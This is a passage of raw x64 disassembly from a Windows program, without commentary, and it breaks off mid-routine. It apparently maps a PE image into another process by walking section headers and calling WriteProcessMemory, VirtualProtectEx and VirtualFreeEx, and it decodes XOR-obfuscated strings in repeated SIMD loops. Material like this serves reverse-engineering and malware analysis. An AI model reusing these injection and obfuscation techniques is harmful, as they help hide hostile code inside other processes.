movups xmmword [rsp + 0x68], xmm0
cmp esi, 2
jl 0x140261e01
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x14029d7a0]
movdqa xmm6, xmmword [0x14029d880]
movdqa xmm7, xmmword [0x14029d890]
movdqa xmm12, xmmword [0x14029d8b0]
movdqa xmm13, xmmword [0x14029d7e0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax + rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
psrad xmm4, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm5
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm4, xmm5
pmuldq xmm0, xmm6
movdqa xmm2, xmm4
pmuldq xmm1, xmm7
pmuldq xmm4, xmm7
pmuldq xmm2, xmm6
shufps xmm4, xmm1, 0xdd
shufps xmm2, xmm0, 0xdd
psubd xmm4, xmm5
psrad xmm2, xmm10
movdqa xmm0, xmm5
psrad xmm4, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x10
jl 0x140261c40
cmp r9d, 0x17
jge 0x140261e60
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, r9b
inc r9d
add cl, cl
xor byte [r10 - 1], cl
cmp r9d, 0x17
jl 0x140261e10
mov rdx, rdi
lea rcx, [rsp + 0x68]
call fcn.1401e4400
mov edx, dword [rdi + 0xc]
mov rcx, r13
add rdx, qword [rbp - 0x50]
mov r9d, dword [rdi + 8]
mov r8, qword [rsp + 0x50]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140262170
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x14029cd95], bl
mov r11d, eax
movups xmm0, xmmword [0x14029cd78]
mov ecx, dword [0x14029cd90]
mov dword [rbp - 0x80], ecx
movzx ecx, word [0x14029cd94]
movups xmmword [rsp + 0x68], xmm0
mov word [rbp - 0x7c], cx
movsd xmm0, qword [0x14029cd88]
movsd qword [rsp + 0x78], xmm0
je 0x140262160
mov r9d, ebx
cmp esi, 2
jl 0x140262101
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x14029d7a0]
movdqa xmm6, xmmword [0x14029d880]
movdqa xmm7, xmmword [0x14029d890]
movdqa xmm12, xmmword [0x14029d8b0]
movdqa xmm13, xmmword [0x14029d7e0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax]
nop word [rax + rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x18
jl 0x140261f40
cmp r9d, 0x1e
jge 0x140262160
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, r9b
inc r9d
add cl, cl
xor byte [r10 - 1], cl
cmp r9d, 0x1e
jl 0x140262110
mov r8d, r11d
lea rcx, [rsp + 0x68]
mov rdx, rdi
call fcn.1401e4400
movzx r10d, word [0x14029cce0]
movzx esi, byte [0x14029cce2]
mov r11d, dword [str.h:9__P]
movzx r9d, word [0x14029cd9c]
mov ecx, dword [rbp + 0x50]
mov rax, qword [rbp - 0x38]
inc ecx
add rdi, 0x28
mov dword [rbp + 0x50], ecx
movzx eax, word [rax + 6]
cmp ecx, eax
jne 0x140261af0
movzx ecx, ax
mov rdi, qword [rbp - 0x38]
mov dword [rbp + 0x50], ebx
movzx eax, word [rdi + 0x14]
add rdi, 0x18
add rdi, rax
test cx, cx
je 0x1402627b1
mov edx, 0x20
nop dword [rax]
mov ecx, dword [rdi + 8]
test ecx, ecx
je 0x140262795
mov eax, dword [rdi + 0x24]
mov dword [rbp + 0x58], ebx
test eax, 0x80000000
jbe 0x1402621ef
mov esi, 4
jmp 0x1402621fc
test eax, 0x20000000
mov esi, 2
cmova esi, edx
mov edx, dword [rdi + 0xc]
lea rax, [rbp + 0x58]
add rdx, qword [rbp - 0x50]
mov r8, rcx
mov r9d, esi
mov qword [rsp + 0x20], rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r9d, ebx
test eax, eax
je 0x1402624da
cmp dword [0x1402af008], 2
mov eax, dword [0x14029cec0]
movups xmm0, xmmword [str.5__8__tsz__]
mov dword [rsp + 0x78], eax
movzx eax, word [0x14029cec4]
mov word [rsp + 0x7c], ax
movzx eax, byte [0x14029cec6]
mov byte [rsp + 0x7e], al
movups xmmword [rsp + 0x68], xmm0
jl 0x140262472
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x14029d7a0]
movdqa xmm6, xmmword [0x14029d880]
movdqa xmm7, xmmword [0x14029d890]
movdqa xmm12, xmmword [0x14029d8b0]
movdqa xmm13, xmmword [0x14029d7e0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x10
jl 0x1402622b1
cmp r9d, 0x17
jge 0x1402624d0
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, r9b
inc r9d
add cl, cl
xor byte [r10 - 1], cl
cmp r9d, 0x17
jl 0x140262480
lea rcx, [rsp + 0x68]
jmp 0x140262785
cmp dword [0x1402af008], 2
movups xmm0, xmmword [0x14029ccb8]
movzx eax, byte [0x14029ccd8]
movups xmm1, xmmword [0x14029ccc8]
mov byte [rbp - 0x78], al
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rsp + 0x78], xmm1
jl 0x140262721
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x14029d7a0]
movdqa xmm6, xmmword [0x14029d880]
movdqa xmm7, xmmword [0x14029d890]
movdqa xmm12, xmmword [0x14029d8b0]
movdqa xmm13, xmmword [0x14029d7e0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop word [rax + rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x20
jl 0x140262560
cmp r9d, 0x21
jge 0x140262780
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, r9b
inc r9d
add cl, cl
xor byte [r10 - 1], cl
cmp r9d, 0x21
jl 0x140262730
lea rcx, [rsp + 0x68]
mov r8d, esi
mov rdx, rdi
call fcn.1401e4400
mov edx, 0x20
mov ecx, dword [rbp + 0x50]
add rdi, 0x28
mov rax, qword [rbp - 0x38]
inc ecx
mov dword [rbp + 0x50], ecx
movzx eax, word [rax + 6]
cmp ecx, eax
jne 0x1402621d0
mov rcx, qword [rbp - 0x38]
mov r9d, 2
mov rdx, qword [rbp - 0x50]
mov dword [rbp + 0x5c], ebx
movzx eax, word [rcx + 0x14]
mov r8d, dword [rax + rcx + 0x24]
lea rax, [rbp + 0x5c]
mov rcx, r13
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rdi, qword [rbp - 0x40]
mov r9d, 0x1000
mov r8, qword [rsp + 0x50]
mov rdx, rdi
mov rcx, r13
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140262aba
movups xmm1, xmmword [0x14029ce10]
movups xmm0, xmmword [0x14029ce00]
movups xmmword [rsp + 0x78], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rsp + 0x68], xmm0
test al, al
je 0x140262ab0
cmp dword [0x1402af008], 2
jl 0x140262a4b
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x14029d7a0]
mov edx, ebx
movdqa xmm6, xmmword [0x14029d880]
movdqa xmm7, xmmword [0x14029d890]
movdqa xmm12, xmmword [0x14029d8b0]
movdqa xmm13, xmmword [0x14029d7e0]
movdqa xmmword [rsp + 0x40], xmm0
mov r8d, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop
movd xmm5, edx
lea eax, [rdx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, r8d
add edx, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp edx, 0x20
jl 0x140262890
jmp 0x140262ab0
lea r10, [rsp + 0x68]
mov r9d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, r9b
inc r9d
add cl, cl
xor byte [r10 - 1], cl
cmp r9d, 0x20
jl 0x140262a60
lea rcx, [rsp + 0x68]
call fcn.1401e4400
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edi, dword [0x1402af008]
test eax, eax
jne 0x140262d9a
movzx eax, word [0x14029cd50]
mov r9d, ebx
mov word [rbp - 0x70], ax
movups xmm0, xmmword [0x14029cd28]
movups xmm1, xmmword [0x14029cd38]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x14029cd48]
movsd qword [rbp - 0x78], xmm0
movups xmmword [rsp + 0x78], xmm1
cmp edi, 2
jl 0x140262d31
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x14029d7a0]
movdqa xmm6, xmmword [0x14029d880]
movdqa xmm7, xmmword [0x14029d890]
movdqa xmm12, xmmword [0x14029d8b0]
movdqa xmm13, xmmword [0x14029d7e0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop word [rax + rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
psrad xmm4, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm5
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm4, xmm5
pmuldq xmm0, xmm6
movdqa xmm2, xmm4
pmuldq xmm1, xmm7
pmuldq xmm4, xmm7
pmuldq xmm2, xmm6
shufps xmm4, xmm1, 0xdd
shufps xmm2, xmm0, 0xdd
psubd xmm4, xmm5
psrad xmm2, xmm10
movdqa xmm0, xmm5
psrad xmm4, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x28
jl 0x140262b70
cmp r9d, 0x2a
jge 0x140262d90
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, r9b
inc r9d
add cl, cl
xor byte [r10 - 1], cl
cmp r9d, 0x2a
jl 0x140262d40
lea rcx, [rsp + 0x68]
call fcn.1401e4400
mov rdx, qword [rbp - 0x48]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
jne 0x140263064
mov eax, dword [0x14029cf60]
mov dword [rbp - 0x70], eax
movups xmm0, xmmword [0x14029cf38]
movups xmm1, xmmword [0x14029cf48]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x14029cf58]
movsd qword [rbp - 0x78], xmm0
movups xmmword [rsp + 0x78], xmm1
cmp edi, 2
jl 0x140262ffe
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x14029d7a0]
movdqa xmm6, xmmword [0x14029d880]
movdqa xmm7, xmmword [0x14029d890]
movdqa xmm12, xmmword [0x14029d8b0]
movdqa xmm13, xmmword [0x14029d7e0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
